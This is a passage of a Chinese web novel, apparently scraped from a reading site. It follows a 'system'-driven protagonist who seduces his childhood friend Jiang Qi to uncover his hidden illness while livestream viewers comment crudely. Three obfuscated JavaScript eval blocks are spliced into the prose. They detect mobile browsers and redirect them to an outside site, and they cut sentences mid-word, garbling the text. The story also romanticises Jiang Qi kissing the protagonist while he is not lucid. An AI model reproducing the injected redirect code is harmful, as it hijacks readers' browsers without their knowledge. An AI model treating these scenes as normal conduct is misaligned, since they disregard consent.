这太复杂了。许时清根本听不懂！算了，基佬的心思他不想猜，一律当做见色起意处理！ 此时弹幕飘过： 【我不行了，清清你自己问他的，人家真答了你又不爱听！】 【主播怎么这么坏？】 【江起的告白其实很真诚啊……不是，这个小世界我之前在其他宿主那里看过类似的，感觉他们就是做做做爽爽爽，骗到信息就通关了，怎么在这里居然还有点纯爱呢！！】 【回前面的，我有同感。感觉是因为清清心肠太好了，前面作为心理医生，是真的在认真玩角色扮演履行义务，还觉得跟病人有不清不楚的瓜葛是不应该的。】 【唉，道德感要不要这么高啊？】 【嘿嘿，就是因为道德感高才好味嘛～～前面他误以为自己被牛的时候不知道有多香，又舒服又羞耻的小表情简直太给力了！】 …… 回到家，许时清简单收拾一下，就想去睡了。 今天发生的事情很多，他脑子实在是乱，感觉有点浑浑噩噩，去浴室的时候动作太匆忙，洗完了才发现自己没拿内衣进来。 “……” 干脆裸着出去好了！ 【哟，真空啊？】 许时清：“我说真的，你很适合去干新闻学，你取的标题流量一定很火爆。” 他不理会系统调戏，自顾自要去拿衣服，却又听见系统问他：【想早点通关吗，清清大人？】 “嗯？”许时清动作一顿，“当然想啊，但你不是说还得等……” 【嘿嘿，今天晚上是个很好的机会。】 什么？ 【唉，说来惭愧，其实我一般是不给人这种提示的啦～不过看在我们清清这么漂亮的份上，我给你指条明路啦！】 【今晚是很关键的时间节点，江起因为你的事耿耿于怀，在这时候是最脆弱的。所以你完全可以趁虚而入——】 许时清想了想：“怎么趁虚而入？跟他聊原生家庭的苦痛吗？” 【……】 算我求你了好不好？ 【当然是靠美色啊！用美人计也要分时间和场合的，在他最容易动容的时候勾引他，效果可是事半功倍呢～～】 勾引。 话是这么说了，但许时清真不会啊？怎么算勾引呢，不穿内裤可以吗？ 思考片刻，他决定实践一把，打开一条门缝，对外面的人喊：“江起？” 某人耳朵很灵，本来还在书房办公，一听见他喊，立刻就奔过来了。来到浴室门口，听见许时清说：“能帮我拿一下衣服吗？就在沙发上，我刚才忘拿了……” 江起转身去拿，在看清那件衣物时，动作稍顿，神色没什么变化，勾在手里就去递给他了。 “叩叩。” 他敲两下门，似乎很绅士。门开了，只有一条缝，许时清在缝里探出头。 浴室水汽袅袅，开门后雾气四散，许时清洗过头，现在从头到脚都是湿漉漉的。他从门缝里探出手，一边说“谢谢”，一边伸手去接他手里的东西。 江起低头，看着他玉白的手腕，被热汽蒸腾后，呈现出微微的粉，想也没想，鬼使神差般地就反抓住了他的手腕。 “！！！” 这动作太突然，许时清着实被他吓了一跳，又记起刚才系统的提示，他咬咬牙，决定豁出去一把。 “你、你做什么？”许时清柔柔叫着，垂眼的样子颇有些无辜，轻轻甩手，“放开我……” 江起哪儿见过他这副模样？就连弹幕也没见过，一齐激动起来： 【啊啊啊啊清清你怎么这么会啊！】 【完全把“欲拒还迎”四个字写在脸上了嘛～～】 【我的妈，我总算知道“大黄丫头绞尽脑汁不如直男轻轻一卖”是什么意思了！】 【哦，所以在江起之前，他不会也是用这副样子勾引他真正的小竹马的吧？】 【呵呵，谁知道呢？感觉清清其实很反差呢，期待后面的表现～】 …… “清清，你今天晚上——”江起止言又欲，目光落在他脸上，再也移不开，发自肺腑地说，“很漂亮。” “是这样吗？哈哈。” 许时清不知道怎么回，只能尬笑两声。嗯，他好像大概是勾引到对方了，然后呢？——江起应该松手了吧，一直抓着他是想怎么样啊？！ “我还没洗完澡，你先放……” “可以一起洗吗？” 基佬语出惊人。 “什么？”许时清被他问懵了，怎么都不会想到他能直接到这种地步。 “可以吗，清清？”江起捏捏他的手指说，“反正也不是第一次了，对不对？” 许时清在这话里捕捉到了真相的味道。 “但是，那也不行！”纠结片刻，他还是拒绝了，“你今天已经……你当时还对我那么凶，我不想再跟你一起了。” “我真的很凶吗，有吓到你？” 江起的语气似乎有些委屈，好像他真的被人误会，便放开手，“好，那你先洗吧，我们出来之后再说？” “砰”地一声关上浴室门，许时清忍不住捂脸，几乎想尖叫出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438169|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 他他他、他怎么能这样？江起怎么又能那样！竹马之间根本就不应该这样的啊！！！ 【唉，大家都说“Love is love”！清清你不妨把格局打开呢？跟谁处对象不是处，只要对方符合你的择偶要求，明明就都可以吧？】 “我——”许时清不知怎么办了，穿好衣服出去，江起估计还得堵他。听刚才那柔情蜜意的语气，恐怕是又要把白日里做过的事再做一遍？ 【好了好了，放轻松啦！我说过的，第一个小世界只是开胃菜，尺度不会特别大，相信清清你可以的！！】 许时清察觉不对：“那你告诉告诉我，你口里的‘尺度大’又得到什么程度？” 直觉告诉他，这破系统一直在暗戳戳给他挖坑，几次翻车都跟这家伙脱不了干系！只是许时清暂时拿不出证据来。 系统却没再答复，只说“祝你好运咯”，然后美美下线。如果有投诉渠道的话，许时清一定要写千字长评扣它绩效。 几分钟后，许时清换好衣服出门。 他仿佛要上刑场，做什么动作都是慢吞吞，在里面磨蹭了好久才肯出来。只期盼着江起早就离开了，然而一开门，江起竟然还杵在门口？ “你……呃！” 话还没说完，许时清就被他按在了门板上。浴室里的热汽没有散去，感觉雾蒙蒙的，江起的脸也隐在雾里，他好像是在笑。 “清清？” 江起又叫他名字，这个本来显得亲昵可爱的小名儿，许时清如今一听却发抖。 “亲亲。可以吗？” 许时清：“……” 你搁这儿考我前后鼻音呢？语文拼音还是会的好不好？！！ 距离近在咫尺，他只要一抬头，就能吻到江起。 许时清心底应该是害怕的。他以前从没做过这样的事，也没遇见过这样一群人，却要为了莫名其妙的任务，不断挑战自己的底线，这不是他的本意。 但是——他得速战速决！多待一天都会是变数，如果再继续拖延下去，指不定会发生什么更可怕的事，许时清实在精疲力尽了。 于是他鼓足勇气，咬紧牙、心一横，踮脚闭眼，吻了上去。 弹幕炸开锅了： 【我靠我靠！这么主动？】 【清清宝宝你要把我魂钓走了，明明又不是第一次了，结果亲亲还闭眼，要不要这么纯呢？】 【啊啊啊啊啊啊啊啊啊啊！】 【好可爱好可爱！我真的坚持不住了……】 【看得出主播是真豁出去了。】 【还好第一个小世界他看不见咱们，不然肯定见不到这样的场景了唉～】 好热。好烫。 许时清浑身都在抖。已经有过两次经验，但他还是不知道该如何实操，笨拙地在江起脸上戳来戳去，最后被人抓住手腕、举过头顶。 江起低头，垂眼看他，半晌，没忍住亲了亲他的鼻尖，笑笑说：“好可爱，我们清清。” “去卧室好不好？那里会舒服一点。” 许时清已经不敢想象，他说的“舒服”是指哪种“舒服”。事情做到这种地步，没有挽回的余地——他视死如归。 这注定是不平凡的一夜。一个捍卫屁股二十多年的直男，决定暂时放下原则了！ 19. 竹马变成狐狸精了怎么办？ “过来坐吧，清清。” 进了卧室，关上房门。许时清明白，他彻底没有退路了。 嘶，但是似乎也没必要把话说那么死？大不了跟今天白天一样，就当是被路边的狗啃了就好了！ 心里这样想着，许时清还是犹豫不前，他背贴着墙，问江起：“我们……不开灯吗？” “要开灯吗？” 江起说着，转身打开床头的小灯，灯光昏黄幽暗，只能勉强照明，不太刺眼，也就给人心安的感觉。他说：“我怕你会紧张呢。” “我……” 许时清离他几米远，就这样盯着他看，忽然说不出话。 莫名的，不知道是不是他的错觉，许时清总觉得现在的江起——和迟冬很像。 尽管两个人长相大相径庭，江起的五官明显要更硬朗、气质也冷冽，迟冬就是张娃娃脸，气质更是和“高冷”不沾边，是他一笑起来你就知道这个人不大聪明的程度。 但是，就是很像。许时清恍惚记起，迟冬似乎也对他做过类似的事。 当时已经高三了，他学习压力很大，对什么社交活动都不感兴趣，只一心复习。 迟冬就不像他这么严肃，人与人的差距还真是大。迟冬属于是看着不聪明，其实很智慧的那一挂，可能你和他相处交谈，经常感觉这个人脑袋空空、不学无术，但论考试成绩他从来没输过，常常名列前茅。 许时清则是完全跟他反着来的，究其原因，许时清认为，造物主可能还是要讲究公平的，既赐给他情商，那智商就没必要太高了；而迟冬的情商显然为负数，多出来的那一截智商就作为等价代偿，两两抵消。 只靠聪明读书的人，对考试之类的都没有感觉。所以那天二模成绩出来，许时清因为又一次退步的成绩辗转难眠，他却有空跑来找人玩儿。 许时清本来在看卷子错题，心想谁大半夜来敲门呢？开门一看，果然是迟冬。 “嗨嗨嗨！我就知道你还没睡！”迟冬大摇大摆走进来，好像这是他家，去冰箱里掏了罐可乐，边拉罐边问，“又在做什么呢，偷偷内卷是吧？” “……” 许时清看着迟冬，没说话。他现在是真的很累，颇有种再怎么学也比不过眼前这二傻子的感觉，他感到深深的挫败。 迟冬倒是毫无察觉，拽着他又去了卧室，说要给他讲讲题。许时清说“不用”，把卷子折起往包里一塞，赶客说：“我要睡觉了。” “怎么我一来你就要睡，你故意的？”迟冬脑子笨，但在这方面还算敏锐，他又对人笑笑，去拉许时清的手，“别生气嘛，清清。我知道你没考好心情不好，但也别给自己太大压力，找点其他刺激的事做怎么样呢？” “比如，我们可以一起……玩一把惊险刺激的王者荣耀？” “……” “滚。” 许时清跟他真是没有共同语言！然而迟冬没被他这句话赶跑，这么多年了也都赶不跑，死皮赖脸地要留下，最后吵着闹着要跟许时清一起睡觉。 许时清别过头：“你少来这套。我们上次一起睡都是初中的事了，你不嫌害臊吗？” “这有什么的？”迟冬已经坐在床边，朝他拍拍身边的空位，“来嘛来嘛，你失眠也没关系，我可以给你讲故事——你想听白雪公主还是灰姑娘？” 到这儿，许时清才反应过来，原来这家伙在熬夜，只是透过对窗看见他的屋子还亮着灯，所以来找他谈心的。 …… 回忆结束。许时清重新抬头，记忆里的迟冬跟眼前的江起重合，但又不太一样——迟冬可不会像这样强吻他！ 江起笑着看向他：“你在发呆吗？又在想些什么呢？” “没什么，你……”许时清扭扭捏捏地走过去，被他拉住手的时候，心里还是害怕，“你轻一点。” “好。” 话音落下，他被一股力猛拽，摔在床上。倒是不疼，只是江起又压下来，他感觉脑袋很晕，头顶传来声音：“我会的。” …… 后面的场景简直称得上是付费内容。 许时清虽然没谈过正经恋爱，但也不是张白纸，对这种事有所了解，实操经验为零。 此刻他也真的相信了，江起之前的小动作只能称得上是“开胃菜”，现在到了卧室里，“真刀真枪”地拼了一场，他才惊觉对方的欲//念有多膨胀。 “哈、嗯，我不行……我真的……” 许时清像个呼吸过度患者，被他逼得哮喘都要犯了，胸腔剧烈起伏，气也喘不匀，只能徒劳地别过头去。江起再度迎上来，吻他的眼睛。 “不行了吗，清清？”江起在偷笑，“我还以为你很厉害呢，之前明明还……” “之前什么？” 许时清捕捉到关键词，浆糊似的脑袋清醒一瞬。对了，他光顾着求饶了，差点忘了自己是来套话的。 “之前，我们——”江起的神色忽然凝重起来，抓住他的手，吻他的掌心，宽慰说，“没什么，那不重要。” “不，江起，那很重要。” 真相就在眼前，许时清必须要抓住机会了，这也可能是他最后的机会。 这样想着，他伸出手，勾着江起的脖子，胆子更大了些。他问江起：“我，是真的生病了吗？” 江起“嗯”了一声，辩不明情绪，像是为了逃避，又俯身去蹭他。 许时清不为所动，继续问：“什么病？你从来没有告诉过我，你给我吃的又是什么药？它们有安眠作用，对吗？” “……是这样。” 江起的声音小了下去，他不太想面对这个问题，然而许时清拒绝他的示好，也不让他亲了，捂着他的嘴、将他推远了些。 “你得告诉我，江起，”许时清直视他的眼睛，“我们从小一起长大，应该无话不谈，但我觉得你对我隐瞒了太多事。所以我不知道……不知道我们的关系到底怎么样？” “——我真的可以无条件相信你吗？” 【我的妈呀，这是我不付钱就能看的吗？】 【清清你真的太会了……你小子真的是直男吗？今晚疯狂上分啊！刚刚主动亲现在又挑逗，谁能抵抗你！！！】 【啊啊啊，这叫什么呢？假意掺杂真心是国宴，真心掺杂假意是da便！】 【前面的好押韵啊。】 【难道单押也算押？】 【能不能不要在这么涩的场合玩烂梗？我刚起立的小啾啾被你们吓软了。】 【那只能说明你硬度不够！】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438170|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 房间寂静无声，二人四目相对。江起被他捂住嘴，眼睛却还能弯弯笑。 “可以的，”江起说，“你可以无条件相信我。” “那……你要把你知道的一切都告诉我，”许时清看着他说，“不准撒谎，也不准打哑谜，我要知道的是全部。” “好，都听你的。” 不知是不是他的错觉，江起今晚乖得要命。嘿，真是奇了怪了，之前不还神气十足的吗，今天怎么就变了性？ “那还能再亲一次吗？”江起眼巴巴地问他，“就一次。” 许时清：“……” 算了，他收回刚才的话。 最后还是答应了江起的请求。结束之后，许时清感觉自己真没脸做人了，脸部都完全麻痹，嘴也快给人亲烂了！ 他冲去卫生间洗了两把冷水脸，才缓过劲来。收拾好出来的时候，江起已经坐在客厅沙发上等他了。 “坐过来吧，清清，”江起拍拍身边的位置，“我会告诉你一切。” —— “不可能！” 听完江起的叙述，许时清下意识否定，他无论如何都没法接受这个事实。 江起早有预料，只是平静地看着他，说：“我知道你可能无法接受，但这都是真实的。清清，你的确有人格分裂症。” 江起发现许时清的怪异症状，要始于三个月前。 他们本是竹马，相识多年，完全了解彼此，许时清身上发生什么变化，江起指定是第一个察觉的。 起初，江起只是觉得许时清有些阴晴不定。大部分时间温和可亲、待人有礼，和他一贯的作风相似；可有时候又会喜怒无常，会莫名因为一句话大动肝火，也会说伤人的话让人尴尬难堪。 要知道，从前的许时清就算再愤怒，也不会轻易和人撕破脸、做这种让人当众下不来台的事。 自此，江起就开始更加密切地关注他了。 故事的彻底转折，发生在那个雨夜。 许时清来他家做客。本来没打算过夜的，奈何临走时忽然开始下雨刮风，乘车不便，许时清只得留下。 许时清早早地睡下，江起还在办公，认真在键盘上敲敲打打的时候，房门被人推开，正是许时清。 “有什么事吗，清清？” 江起看着他，却发现他状态不太对。许时清眼神空洞、没有神色，走起路来飘飘然，不像是神志清醒的样子。 半晌，许时清忽然缓过神来，对他露出一个笑。和以往温柔知性的感觉都不同，这个笑是带着媚意的——许时清竟然在用眼神勾他。 再在他惊疑不定的目光里，走近了，江起大概明白他的意图，也没拒绝，后撤让出位置、叉开腿，好让许时清坐在他腿上。 这个动作自然到过分。很难想象，江起是不是早在脑海里演练过呢？ “清清，你……” 他怀里抱着人，做出亲昵的姿势，却还是要问一句：“是身体不舒服吗？我们这样是不是太……” “江起。” 许时清打断他，手指落在他唇上，勾唇一笑：“你想要我亲你吗？” 江起这才后知后觉。 ——他的竹马，好像变成狐狸精了。 20. 集体狂欢（凝受注意） 他的竹马，好像变成狐狸精了。 江起这样想着，没把他推开，反而牵引着他换了个姿势，侧身坐在自己腿上，这样要更舒服一些。 “是喝醉了吗？”江起捏了捏他的后颈，感觉他的体温有点凉，又凑近了，细嗅他的气息，“但是好像也没什么酒味呢？你今天晚上也只喝了不到两杯酒吧。” “嗯。” 许时清应了声，眼神直勾勾盯着江起，双眼却是迷离的，看上去半梦半醒。他勾着人的脖子，低头靠得更近，鼻尖都快和对方紧挨在一起，许时清笑着问他说：“要亲亲吗？” 试问，这有谁能抵抗呢？ 江起大学修过心理学，也略懂一些医学知识，自然能看出此时的许时清状态不对。 但很不巧的，他并不是个君子，能趁火打劫就顺势而为，亲自送到嘴边的肉，哪儿有不吃的道理？ 于是江起选择顺从——就好像他是被人逼迫，但这其实也是他的心中所想。他和许时清的初吻，是在对方神志不清的情况下完成的。 “清清，”亲到一半，江起察觉到他的颤抖，伸手扶住他的后腰，笑说，“怎么在抖？” “嗯……我不知道。” 素日总拒人千里之外，以一副“高岭之花”的面孔示人。许时清的高冷并非性格冷淡，相反的，他接人待物总很有礼，偶尔还会热心肠。 但是，如果想要距离再近一些，就很困难了。 因为许时清擅长把控完美的社交距离，忽近又忽远，永远不越界，一旦察觉到苗头不对，或是这段关系即将脱离他的掌控，他就会毫不犹豫地离开。要多无情有多无情。 正因为江起了解他，所以这么多年来，一直不敢表露自己的心思，只怕许时清知道后就要和他断交。却没想到，还没等他出手——许时清自动就送上门了。 此刻的许时清简直太迷人了。主动到乖顺，江起知道他身材纤瘦，没想到抱起来却是柔软的，有点轻飘飘，没骨头似的往他怀里倒，头也靠在他肩，一低头就可以亲到的程度。 江起深吸一口气，竭力按捺住冲动，又说：“清清，我还有工作要处理……” 他又没忍住，低头亲亲许时清的眼睛，“很快就好，可以等等我吗？” “嗯。” 许时清有求必应，似乎又开始犯困了，但听见他想索吻，又会抬起头来配合。 好乖。江起想。 像个精巧漂亮的人偶，完全被他支配。 —— “……我要回家。” 从江起房间里出来后，许时清连想死的心都有了。 江起恋恋不舍，还想拉他一起睡觉。许时清果断拒绝，他想了解的都已经知道了，还在这儿装什么温情依恋的？晚上要是睡一张床，江起指不定又对他做什么呢！ 回到房间，反锁房门，他猛地一头扎在床上，近乎崩溃地叫喊：“我真的不活了！不带你们这样的？我怎么可能做出来那种事！！！” 他，许时清，堂堂一介直男，不知多少次婉拒基佬死缠烂打似的追求，自诩是狂风中屹立不倒的一根小白杨，要多笔直有多笔直。 现在却有人告诉他说，在他完全不知情的情况下，竟然主动去向男人示好，甚至大言不惭坐人家腿上、要亲亲抱抱？ ——当时那辆卡车为什么不能直接撞死他呢？许时清捂着脸想，至少好过让他在这里被人羞辱。 【安啦安啦，你的反应好大喔！不过这也是没有办法的事，为了完善小世界故事线，咱们总得有个前因后果嘛～～】 许时清：“完善故事？谁想出来的主意能有这么缺德，你告诉我，我去砍他！今天把他砍成血雾都算大块的！” 【咳咳咳咳！】 系统尴尬咳嗽：【其实是我。】 许时清张口要骂，它又紧急挽救：【欸但但但但但但是！我也是好心啊！！】 许时清冷笑：“行吧，我倒要听听，你能用什么理由说服我？” 【嗯嗯！是这样的，其实咱们这个副本世界啊，都是有观众的。】 “观众？” 许时清茫然，下意识环顾四周，空无一人。他忽然从床上蹦起来，惊叫：“我靠！你们该不会到处都装了监控吧？！” 【哈哈哈，也没有那么夸张啦！——不装监控他们也都能看的。】 “……” 算我求你了。 人在无语到极点的时候真的会笑，许时清能做的也只有苦笑，系统又说： 【我之前告诉你，完成对应任务可以获得积分，积分的最大作用，其实就是帮你兑换各种道具，让你在小世界进展得更顺利一些。】 【但是，清清，如果你真的想尽早回去的话，可能还得看观众们的意见。每次世界结束后，我都会组织发起一次投票，投票让你回家的意愿大于等于百分之六十，这才算是有效通关哦。】 “所以，你的意思是，”许时清大概明白，但他还是觉得不可置信，“我明明已经按照你的要求，拿下攻略对象的好感度，也已经从NPC那里成功套话，解读出隐藏剧情线了。但即使这样，我还是不能顺利通关吗？” 【是的！】 系统忽然兴奋起来：【不过也不用太担心，咱们直播间的观众老爷们都很喜欢你啦，他们不会为难你的！】 “……真的吗？” 许时清不信这个狗系统会憋好屁。 【当然啦！清清现在要开弹幕吗？你目前的支持度大概是四十八，离目标还差百分之十二，这边建议你开启弹幕，了解观众实时反馈，成功概率更高哦～】 没办法。如果投票无效，那许时清之前做的就都成了无用功，所以明知前面是坑，他也不得不跳了。 “开、开吧？”许时清心里很没底，那些所谓的观众，别是跟这破系统一个德行吧？ 事实证明，许时清的第六感是正确的——甚至青出于蓝胜于蓝，他想得太少了些。 【哇塞终于能出来透透气了，合影合影！】 【合影＋10086，小主播怎么感觉一脸懵呀，好可爱哦～】 【清清，清清，清清……】 【许时清重度依赖./】 【我为清清举大旗，看谁敢与他为敌！】 弹幕到这里，画风都还算正常，但越往后刷，就不太对劲了。 【清清老婆我喜欢你，真的好白好嫩，想舔～～】 【对主播单手操作中……】 【刚才主播被亲亲的样子好可怜哦，明明是自己主动凑上去勾引的，怎么哭得那么可怜？】 【小狐狸精肯定是故意的，什么直男不直男的？感觉爽得说不出来话了才是真的吧！】 【哎呀，好可惜，只能亲亲吗？我还以为能做到最后呢！】 【就是就是，我们江起哥那啥都买好全套了，结果直播跑了，太可惜了。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438171|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 十分有十二分的不对劲。 许时清已经不敢再往后看了。根据系统的话可以猜测，这群家伙完全开着上帝视角，对他的动向了如指掌，甚至连攻略对象的动作也完全知悉，那他岂不是毫无隐私了？ 如果是这样的话……许时清后知后觉，那他之前被言书调戏、被柯怀雪揩油，还有和江起好几次的……岂不是都被他们看了个清清楚楚？！ 意识到这一点，许时清又忍不住捂脸，他现在难堪到了极点！ 弹幕还在发力： 【怎么突然捂脸啊？是害羞了吗？】 【不准捂脸！你挡住了我还看什么？！！】 【该不会是害羞了吧，没事的没事的，后面会有脱敏训练，多来几次就好咯～～】 【零零七真的太会玩了，我说前面怎么不让他看弹幕呢？原来在这儿等着。】 【爽爽爽！】 这场面像极了地痞调戏懵懂的姑娘，然而对他口出狂言的似乎都是些女性观众？ 许时清无颜面对，只想逃避，系统却提醒他：【听见了吗，清清？大家都想看看你呢，别再遮遮掩掩了——你也想早点回家的，对吧？】 这话有很强烈的既视感，但许时清已经顾不上了。他已经把能做的都做了，确实不想功亏一篑，于是心一横，把手放下来，从床上坐起来。 既然要做，那就摆出态度来！就这样，许时清把自己哄好了，他就当是在上班讨好客户了，尽管他要面对的所谓“客户”都不是什么正经人。 因为他的乖巧，投票支持率立刻上升了两个百分点，目前还差百分之十。 许时清整理好心情，便问弹幕：“我是第一次做这种事，可能会缺乏经验，我不知道该做什么才能让你们高兴……你们可以告诉我，我接下来应该做些什么吗？” 他全然不觉自己有多乖巧，表情含怯，带着小心翼翼的讨好，却并不谄媚，既视感像极了问人讨糖吃的小孩儿。 【当然可以啦！清清你别再卖萌了我血槽都空了。】 【行行行！好好好！那还说啥了，地球都送你了！！】 【我先来我先来，我还有票没投呢！这个副本我最喜欢小雪，清清能不能再多宠幸他一下呢？】 【我附议！小雪完全就是最可爱的乖狗狗，只亲到一次简直太可惜了。】 【你们都这么说了，那我觉得言书也应该来一次啊！我们言书也是成绩很好的乖孩子！】 【事已至此，顺便再扶贫一下凌燚吧？难道没人觉得他在这个副本存在感贼低吗。】 【呵呵，不吃这一款。】 【狗可以笨，但是蠢不行！】 【是吗QAQ，可我觉得凌燚还蛮可爱的唉，口嫌体直也很萌啦……】 “……” 弹幕看得许时清都沉默了。 他本来想着，已经跟江起做过那么过分的事了，他最多再接受一个人，怎么现在全吻上来了！能别既要又要的吗？ 许时清深吸一口气，平复心情后说：“不好意思，我可能没办法一下兼顾那么多，但我应该可以试试和柯怀雪再……再来一次？” “接吻”两个字他怎么也说不出口。好在弹幕没继续为难他，妥协说“可以”。 “谢谢，真的非常感谢。” 许时清说完，悄悄瞄旁边的支持率。 啊，又悄悄上升了两个百分点。 21. 那年杏花微雨，你说你是直男 今天估计是在这个小世界的最后一天。 次日起床，许时清已经明确了目标。好感度达标，任务进度也达标，只需要按照那群观众的意愿，再来一次“亲密戏”，那他就可以逃离这里了吧！ 想法倒是没问题，但许时清还得想想，到底该怎么甩开江起，偷偷摸摸去见柯怀雪呢？ 还是怪他太心软，不会拒绝人。昨天江起按着他又亲又抱的，还说一连串情话，给许时清尬得头皮发麻，欲迎还拒了好一阵，最后硬着头皮接受了江起的告白。 对方这才饶过他，临睡前还凑过来问：“所以我们现在是情侣了吗？” “……”你觉得呢？ 江起这个神经病臆想症，恐怕心里早就那么认定了吧！不然之前也不会说什么他已经有男朋友了，那个所谓的“男朋友”明明就是许时清本人。 搁这儿跨屏调情呢？有话不直说，到底浪漫在哪里，一度害得他以为自己要当小三了，其心可诛！ 许时清回答得模棱两可，江起便当他默认。第二天又送他来上班。 单方面陷入热恋期的人，连开车都不专心，单手把着方向盘，另一只手就想来拉副驾驶的他。 “开车专心，”许时清拍开他不安分的手，“你不要命我还要呢。” “不要也可以，”江起笑笑说，“大不了我们殉情？” 许时清转头看他，欲言又止。 真觉得这句话很浪漫吗？要死就给我安安静静自己死去啊，拉别人垫背做什么？！ 【清清的微表情真的超级搞笑，有人懂我吗？】 【我懂我懂，感觉对所有浪漫免疫。】 【怪不得是恋爱绝缘体呢。】 【唉，开窍晚点也好啊！被人吃豆腐都不知道呢。】 好吵。许时清在心底叹气。 本来有个系统就够闹腾了，现在这些人满屏刷，要多烦有多烦。 …… “嗯、不行了，我喘不上气……” 说是要甩开江起，结果直接就被人带到了办公室，再进休息室，许时清反被他抵在门上，这才觉得不对。 许时清本想反抗，抬手就是格挡，掌心捂住对方的嘴。然而毫无作用，江起这登徒子竟然舔了下他的手心！ 他被吓了一跳，刚把手抽回来，江起嘴上又得空，便直接压上来了。 “我是来上班的！你怎么又——唔唔唔！” 小兔崽子，王八羔子！但许时清是推又推不动、打也打不过，只能平白无故被人揩了油。 “今天就在这儿等我，不许再乱跑，知道吗？等我上午忙完，中午带你去吃饭。” 江起把他亲得气喘，自个儿倒是云淡风轻，伸手摸摸他的唇角，“呀，这里破了。” 很难怀疑没有故意的成分？许时清气急，伸手甩开他，边擦嘴边说：“凭什么要听你的安排？我也有自己的病人，这是我的工作。” “别闹，清清，”江起语气温柔，态度却强硬，捏着他的后颈肉，不紧不慢威胁，“等我回来，可以吗？不会太久的。” 许时清“哦”了一声，江起走了，他打开手机摄像头照镜子，嘴角果然是被咬破了。 “系统，”许时清忍无可忍，把人叫出来，“我杀NPC犯法吗？” 【理论上是不犯法的，但是……】 弹幕开始刷屏： 【笑死我了，给我们清清气得抽抽了。】 【谋杀亲夫这一块./】 【江起你个坏狗！我还以为你很温良呢！！】 【这还温良啊？前面怎么给人安监控的你们都忘了是吗？】 【当狗勾就该给点奖励才对，江起至少不贪心了。】 许时清没功夫理会他们，只焦急问：“怎么办？我等会儿还得去找柯怀雪，我该怎么解释。” 【不行你就说你上火了吧。】 许时清：“你自己听听扯不扯？” 【怎么，难道你有更好的理由？】 “……” 没有了。 都说养狗要戴止咬器，许时清现在觉得人也应该戴，人发起疯来有时候真比狗还吓人。 许时清贴在门上，听了一会儿外面的动静，问系统：“他现在应该走了吧？” 【我不知道啊。】 “问你问题就是这不知道那不知道的，要你有什么用！” 【呜呜你又骂我！我本来就不知道嘛，我的视角可都是跟着你走的，倒不如问问观众呢？】 唉。 生活不易，许时清叹气。想他上学成绩虽然不拔尖，但也还算优异，还是名校毕业生，不求毕业后有多上档次的工作，可也不至于现在沦落到赔笑卖乖的地步吧！ 真是世风日下。 这样想着，他却不得不扬起一个笑脸，怯生生地问：“那个，可以请问一下大家，我现在能出门吗？” 说完，像是又觉得不够，许时清摸着自己的嘴角，皱眉说：“我知道你们爱看什么，但我真的怕了江起了。他对我好凶，我不想再跟他……你们本来也想看看其他人的，对不对？” 【直男变绿茶来的。】 【要不要看看你们给清清调成啥样了？】 【主播刚来的时候不是嘴硬腰杆更硬吗，怎么现在就？？】 【纯情小直男，今夜down to sea～】 【当然可以呀宝宝！江起是个坏狗，我们不跟他亲了，去找雪雪亲吧！】 【对对，咱们柯柯老温柔了，不会像江起那样乱咬人的！】 呵呵。许时清在心底冷笑，这些人说的字儿他一个都不信。 经弹幕汇报，江起这会儿去查房了，最快也要四个多小时，所以他的时间很充裕。 即便这样，许时清出门的时候还是鬼鬼祟祟，眼观六路、耳听八方，左顾右盼地观察环境，跟做贼似的。 如此谨小慎微——竟然只是为了偷溜出去跟人啵个嘴儿？许时清不太服气，这种蠢事儿他只在读书的时候听过。 比如从前上学，许时清体育课跟迟冬一起放风。两个人无事可做，许时清又不想陪他打球、惹一身臭汗，于是找了个安静阴凉的地方坐下。他看书，迟冬就在边上玩草根和树叶，像小孩子过家家。 放风放到一半，听见动静了。起初许时清也没在意，他们又没做什么违禁的事，不怕被人抓包。直到迟冬戳了下他的胳膊，悄悄对他说：“那边有人在亲嘴儿！” “……？” 许时清循声望去，离他们十几米的地方，果然有一对男女啃得忘乎所以。因为他们被树掩着，对方便没看见。 许时清捂脸，他尴尬的要命——体育课就这十几分钟休息，这也要抽空啵个嘴儿吗？！ …… 三十年河西，现在轮到许时清做这档子事了。 他猫悄着溜出办公室，走到楼下的时候，忽然记起来：“不对。江起那么喜欢装监控，该不会在办公室附近也装过吧？” 要不然上次怎么能那么及时逮到他的！ 【Bingo～真的好聪明啊，我们清清！】 许时清：“……” 你经历过绝望吗？反正许时清经历过。 他心如死灰，偏偏弹幕还在落井 